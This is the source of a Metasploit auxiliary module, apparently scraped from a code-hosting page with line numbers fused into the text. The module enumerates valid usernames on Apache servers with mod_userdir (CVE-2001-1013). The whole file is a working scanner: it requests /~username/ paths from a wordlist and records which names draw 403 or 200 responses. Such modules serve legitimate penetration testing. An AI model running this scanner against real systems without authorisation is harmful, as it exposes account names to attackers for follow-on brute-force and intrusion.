Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/apache_userdir_enum.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner9include Msf::Auxiliary::AuthBrute1011def initialize12super(13'Name' => 'Apache "mod_userdir" User Enumeration',14'Description' => %q{Apache with the UserDir directive enabled generates different error15codes when a username exists and there is no public_html directory and when the username16does not exist, which could allow remote attackers to determine valid usernames on the17server.},18'Author' =>19[20'Heyder Andrade <heyder.andrade[at]alligatorteam.org>',21],22'References' =>23[24['BID', '3335'],25['CVE', '2001-1013'],26['OSVDB', '637'],27],28'License' => MSF_LICENSE29)3031register_options(32[33OptString.new('TARGETURI', [true, 'The path to users Home Page', '/']),34OptPath.new('USER_FILE', [ true, "File containing users, one per line",35File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt") ]),36])3738deregister_options(39'PASSWORD',40'PASS_FILE',41'USERPASS_FILE',42'STOP_ON_SUCCESS',43'BLANK_PASSWORDS',44'USER_AS_PASS'45)46end4748def run_host(ip)49@users_found = {}5051each_user_pass { |user,pass|52do_login(user)53}5455if(@users_found.empty?)56print_status("#{full_uri} - No users found.")57else58print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(", ")}")59report_note(60:host => rhost,61:port => rport,62:proto => 'tcp',63:sname => (ssl ? 'https' : 'http'),64:type => 'users',65:data => {:users => @users_found.keys.join(", ")}66)67end68end6970def do_login(user)7172vprint_status("#{full_uri}~#{user} - Trying UserDir: '#{user}'")73uri = normalize_uri(target_uri.path)74payload = "#{uri}~#{user}/"75begin76res = send_request_cgi!(77{78'method' => 'GET',79'uri' => payload,80'ctype' => 'text/plain'81}, 20)8283return unless res84if ((res.code == 403) or (res.code == 200))85print_good("#{full_uri} - Apache UserDir: '#{user}' found ")86@users_found[user] = :reported87else88vprint_status("#{full_uri} - Apache UserDir: '#{user}' not found ")89end90rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout91rescue ::Timeout::Error, ::Errno::EPIPE92end93end94end959697